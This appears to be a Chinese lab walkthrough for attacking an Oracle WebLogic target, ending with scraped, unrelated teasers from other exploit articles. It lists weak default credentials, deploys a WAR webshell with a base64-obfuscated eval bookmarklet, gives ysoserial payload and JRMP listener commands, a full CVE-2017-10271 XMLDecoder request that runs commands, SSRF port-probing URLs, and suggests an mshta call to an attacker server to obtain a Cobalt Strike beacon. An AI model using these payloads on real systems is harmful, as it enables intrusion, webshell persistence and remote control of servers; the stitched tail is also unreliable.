WebLogic远程命令执行

靶机说明

目标ip:172.16.53.28(window 2003)

本靶机所针对的序列化漏洞系列以及常见安全问题如下:

  1. 弱口令登陆控制台部署war包webshell
  2. CVE-2018-2893
  3. CVE-2018-2628
  4. CVE-2017-10271
  5. CVE-2017-3248
  6. CVE-2016-3510
  7. CVE-2015-4852
  8. weblogic ssrf

远程登陆靶机开启weblogic服务,以及方便后续观察远程命令执行的效果

  • 靶机登陆账号/密码:Administrator/secquan.org
  • weblogic账号/密码:weblogic/admin123
  • 启动weblogic服务:点击桌面“startWebLogic.cmd”文件启动

信息探测

1. nmap探测目标服务器端口以及服务等相关信息

1.1 在命令行终端下执行以下命令

namp -T4 -A 172.16.53.28

1.2 执行结果所获得的信息如下

通过nmap的探测结果,我们可以得知目标的7001端口开放了weblogic的相关服务,并且得知了weblogic的版本信息,以及其它系统相关信息和其它端口服务相关的信息。

得知了weblogic的版本等相关信息后,可以利用互联网检索是否该版本存在响应的漏洞,以寻求利用的可能

弱口令登陆控制台部署war包webshell

1. 登陆界面手工输入常用弱口令尝试登陆

1.1 由于weblogic的登陆入口有账户锁定的机制,所以无法采用爆破的方式,以下截图就是使用burpsuite爆破过后,导致输入正确的账号密码都被锁定

服务器终端也打印出账户被锁定30分钟的信息,如下:

1.2 手动输入常用的weblogic的肉口令进行登陆尝试

#常用弱口令如下,可根据实际情况进行添加或者组合:
administrator:password
weblogic:password
weblogic:weblogic
weblogic:weblogic1
weblogic:welcome1
weblogic:admin123
weblogic:[email protected]
system:weblogic
system:password
system:security
system:system
portaladmin:portaladmin
wlcsystem:wlcsystem
wlpisystem:wlpisystem
admin:security
joe:password
guest:guest

2.登陆成功后,开始部署war包webshell

2.1 进入到weblogic的控制台首页,点击“锁定并编辑”,再点击“部署”



2.2 选择“安装“,如下截图



2.3 点击页面超链接”上载文件“,然后选中提前准备好的war包webshell,选择第一项‘将部署上载到管理服务器’,最后点击下一步

选中提前准备好的war包webshell(下载地址:https://github.com/SecurityRiskAdvisors/cmd.jsp),然后点击下一步

看到以下提示,说明上传成功,显示了我们上传的文件的所在位置,接着继续点击下一步

2.4 选择“将此部署安装为应用程序”,点击“下一步”

2.5 接下来可以给该部署命名,默认即可

2.6 点击“完成”之后,看到“设置更新成功”,说明前面的操作正确

2.7 再次回到‘部署‘选项中,选中刚刚部署的 cmd 应用程序,点击‘启动‘服务(注意,此处一定要来自己手工启动服务,不然 shell 是部署不上的 )

选择“是”

2.8 看到如下图所标记的内容,就说明webshell部署成功

2.9 启动部署成功之后,通过用浏览器访问 http://172.16.53.28:7001/cmd/cmd.jsp 就可以看到我们的 shell 了

备注 : 如果使用文章中提到的cmd.war来部署这个webshell,当访问该cmd.jsp文件的时候,会看到的是一个没有任何回显的空白页面,需要将一段js代码保存为浏览器的书签,当直接访问 http://172.16.53.28:7001/cmd/cmd.jsp的时候,再在当前页面点击js书签,才能看到页面的输出,如下图

//需要保存为书签的js代码如下:
javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

至此,通过弱口令登陆weblogic并部署war包webshell就到此结束

CVE-2018-2893 漏洞利用

漏洞简介

WebLogic (CVE-2018-2893)漏洞和之前的JRMP协议漏洞(CVE-2018-2628)漏洞是分不开的,他是结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单,从而执行系统命令 。

受影响的系统版本

  • WebLogic10.3.6.0
  • WebLogic12.1.3.0
  • WebLogic12.2.1.2
  • WebLogic12.2.1.3

注:此漏洞暂时有一定利用限制,只在 jdk7u21 之前的版本实际利用成功过

相关利用工具下载地址

https://github.com/pyn3rd/CVE-2018-2893

漏洞利用过程

1.通过CVE-2018-2893的相关检测脚本简单验证目标是否存在此漏洞

1.1 脚本下载地址

https://github.com/anbai-inc/CVE-2018-2893

1.2 执行结果,显示存在CVE-2018-2893漏洞

2.生成 payload,功能是回连下载执行指定的系统命令(在大佬平台的环境下,以下命令所用到的ip需要是一个公网ip,比如自己的VPS)

# 生成payload的命令如下,执行结果就是在当前目录下生成一个shell.ser的文件:
java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "192.168.74.142:1099" > shell.ser

3.在攻击机上执行以下命令,启动服务端,等待目标weblogic下载执行指定的命令

# 监听攻击机的1099端口
java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

4.通过T3协议将之前制作好的payload发送给目标weblogic,执行payload(命令中的ip为目标ip)

python weblogic.py 192.168.74.143 7001 shell.cer

5.远程命令执行效果如下

注:此次漏洞利用过程执行的是打开计算机的命令,在实际操作过程当中,可以利用cs服务器生成hta文件,然后通过将“calc.exe”命令换成“mshta.exe http://攻击者服务器/options.hta” ,可以直接反弹beacon到cs服务器

CVE-2018-2628 漏洞利用

漏洞简介

由于 weblogic 对于 T3 协议发送的数据包没有过滤,注册一个 RMI 接口,通过 T3 协议建立连接,加载回来再一步步解包,利用 readObject 解析,从而造成了反序列化远程代码执行

受影响的系统版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

相关利用工具下载地址

#漏洞检测脚本:
https://github.com/aedoo/CVE-2018-2628-MultiThreading
#k8 Tools:
https://github.com/0xMJ/CVE-2018-2628/raw/master/k8weblogicGUI.exe
#shell执行脚本:
https://github.com/jas502n/CVE-2018-2628/blob/master/cve-2018-2628.py

https://github.com/brianwrf/ysoserial

漏洞利用过程

1.通过CVE-2018-2628的相关检测脚本简单验证目标是否存在此漏洞

2.利用K8 Tools getshell

3.运行连接shell的python脚本(python2环境下运行),获取执行命令的控制台

Shell: http://192.168.74.143:7001/bea_wls_internal/wlscmd.jsp

CVE-2017-10271 漏洞利用

漏洞简介

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,究其底层其实还是 XMLDecoder 的反序列化漏洞 。

受影响的系统版本

  • Weblogic 10.3.6.0.0
  • Weblogic 12.1.3.0.0
  • Weblogic 12.2.1.1.0
  • Weblogic 12.2.1.2.0

漏洞利用过程

1.验证目标机器是否存在此漏洞,验证方法如下:

浏览器访问 poc url : /wls-wsat/CoordinatorPortType 看到类似下面的返回则说明目标机器可能存在此漏洞

http://192.168.74.143:7001/wls-wsat/CoordinatorPortType

2.使用burpsuite的repeater模块像目标服务器发包,直接将payload复制到repeater的request位置

payload如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.74.143
Accept-Encoding: identity
Content-Length: 592
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2.1 需要对payload做以下一些修改

2.2 点击“Go”过后,目标服务器执行命令弹出计算机

weblogic ssrf 漏洞利用

漏洞简介

SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。

Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口。

漏洞利用过程

1.Weblogic ssrf url 如下:

#SSRF漏洞存在于:
http://192.168.74.143:7001/uddiexplorer/SearchPublicRegistries.jsp

2.向服务器通过get方式提交以下参数

http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search

此时提交参数operator=http://localhost/robots.txt ,访问的端口是80(不存在),访问一个不存在的端口会返回以下信息:

3、将访问的参数加上7001端口再访问

http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost:7001/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search

此时服务器访问7001端口时返回一个404的状态码

还可能遇到的返回状态有以下几种:

3.内网端口探测

我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。

根据不同的返回状态这个特性,利用python写一个脚本去探测

更多的利用可参考:https://blog.chaitin.cn/gopher-attack-surfaces/,如得知内网存在如redis的机器,也可通过此ssrf进行攻击

相关脚本下载地址:

https://github.com/anbai-inc/CVE-2018-2893

https://github.com/SecurityRiskAdvisors/cmd.jsp

https://github.com/0xMJ/CVE-2018-2628

https://github.com/brianwrf/ysoserial

https://github.com/Lighird/CVE-2018-2628

https://github.com/quentinhardy/scriptsAndExploits/tree/master/exploits/weblogic

https://github.com/jas502n/CVE-2018-2628

原文地址:https://www.cnblogs.com/ldhbetter/p/10327260.html

时间: 2024-10-07 12:42:13

WebLogic远程命令执行的相关文章

【知道创宇404实验室】Oracle WebLogic远程命令执行漏洞预警

2019年04月17日,国家信息安全漏洞共享平台(CNVD)官方发布安全公告 http://www.cnvd.org.cn/webinfo/show/4989 称Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞,***者可利用该漏洞,可在未授权的情况下远程执行命令.随后知道创宇404实验室启动应急流程,通过分析后复现了该漏洞并确定该漏洞影响启用了wls9_async_response.war及wls-wsat.war组件的所有Weblogic版本(包括最新版本

&quot;Java 反序列化&quot;过程远程命令执行漏洞

一.漏洞描述 国 外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使用了 Apache Commons Collections 这个库,并且都存在一个序列化对象数据交互接口能够被访问到.针对每个应用,博文都提供了相应的分析和验证代码来说明 Java 应用存在远程命令执行的普遍性. 二.漏洞危害 机器上一旦有使用上述应用,即处于“裸奔”状态,黑客可随时利用此漏洞执行任意

struts2远程命令执行漏洞S2-045

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危. 漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令. 风险等级:高风险. 漏洞风险:黑客通过利用漏洞可以实现远程命令执行. 影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2

回顾HFS 2.3x 远程命令执行,抓鸡黑客的“末日”(CVE2014-6287)

去年HFS 2.3x 远程命令执行让很多人遭殃了,尤其是一部分黑客,因为很多批量养鸡的黑客都爱用它,于是乎,辛辛苦苦抓的肉鸡就与人分享了.我们分析漏洞得知由于正则表达式的问题,导致了远程代码的执行. 下面我们来本地测试一下这个漏洞的威力,为什么过了大半年还提它?因为今天随便搜了一下,用这个版本的国内还有很多,涉及到部分"抓鸡黑客"(现在还在用这个版本的估计是小菜),学校等.有趣的是,用hfs的服务器一般都开启了3389,罪恶啊.如下图. google上可以搜到更多的主机. 随便测试几个

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell) 0x01步骤 点击start to hack 进入环境页面 run the project 然后访问给出的target address1.执行系统命令显示目录下文件 http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_fun

Apache SSI 远程命令执行漏洞

漏洞原理:在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件.如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令. 漏洞复现:shtml包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取.分析以及修改.正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件: <!--#exec cmd="

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行. 参考文章:https://xz

CVE-2019-0193 远程命令执行-漏洞复现

0x01 漏洞简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行. 0x02 环境搭建 我这里使

Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务.在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问.利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码. 影响版本:Supervisor 3.1.2 <= Version <= 3.3.2 已修复版本:Supervisor 3.3.3.Super